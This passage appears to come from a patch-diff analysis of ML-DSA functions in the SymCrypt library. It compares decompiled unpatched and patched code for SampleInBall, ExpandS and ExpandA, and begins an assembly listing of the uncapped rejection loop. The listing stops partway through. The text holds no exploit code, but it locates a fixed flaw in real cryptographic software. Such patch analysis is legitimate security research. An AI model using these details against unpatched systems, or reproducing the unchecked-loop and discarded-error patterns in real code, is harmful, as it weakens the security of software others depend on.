&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;ctr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                 &lt;/span&gt;&lt;span class="c1"&gt;// NEW counter (edi)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x79&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="c1"&gt;// NEW: cap @ 121&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x8008&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;// NEW error code&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cleanup&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;SymCryptKeccakExtract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sponge&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;ctr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                     &lt;/span&gt;&lt;span class="c1"&gt;// NEW increment&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x100&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;cleanup&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;SymCryptMlDsaExpandS (sub_180029184)&lt;/code&gt; / &lt;code&gt;SymCryptMlDsaExpandA (sub_180028FE4)&lt;/code&gt; — Caller Error Propagation&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED (ExpandS) ===&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;k1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SymCryptMlDsaRejBoundedPoly&lt;/span&gt;&lt;span class="p"&gt;(...);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// return value DISCARDED&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;k2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SymCryptMlDsaRejBoundedPoly&lt;/span&gt;&lt;span class="p"&gt;(...);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// return value DISCARDED&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED (ExpandS) ===&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;k1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SymCryptMlDsaRejBoundedPoly&lt;/span&gt;&lt;span class="p"&gt;(...);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;done&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;k2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SymCryptMlDsaRejBoundedPoly&lt;/span&gt;&lt;span class="p"&gt;(...);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;done&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nl"&gt;done&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                                 &lt;/span&gt;&lt;span class="c1"&gt;// propagate&lt;/span&gt;

&lt;span class="c1"&gt;// === UNPATCHED (ExpandA) ===&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(...)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SymCryptMlDsaRejNttPoly&lt;/span&gt;&lt;span class="p"&gt;(...);&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;// return value DISCARDED&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED (ExpandA) ===&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(...)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SymCryptMlDsaRejNttPoly&lt;/span&gt;&lt;span class="p"&gt;(...);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;done&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nl"&gt;done&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                                 &lt;/span&gt;&lt;span class="c1"&gt;// propagate&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;SymCryptMlDsaSampleInBall (sub_180029FE8)&lt;/code&gt; — Uncapped Reject Loop (UNPATCHED)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x180029fe8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x180029fea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x180029feb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x180029fec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x180029fed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x180029fef&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x180029ff1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp-0x38&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x180029ff6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x138&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x180029ffd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x180046280&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; __security_cookie&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a004&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a007&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x28&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; save cookie&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a00b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; rdi = arg3 (seed length)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a00e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; rbx = arg2 (c~ seed ptr)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a011&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; rsi = arg1 (context)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a014&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a016&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x400&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; 1024 bytes = 256 int32&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a01c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a01f&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; r14 = arg4 (challenge poly)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a022&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0x18002c640&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; memset(poly, 0, 0x400)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a027&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a029&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
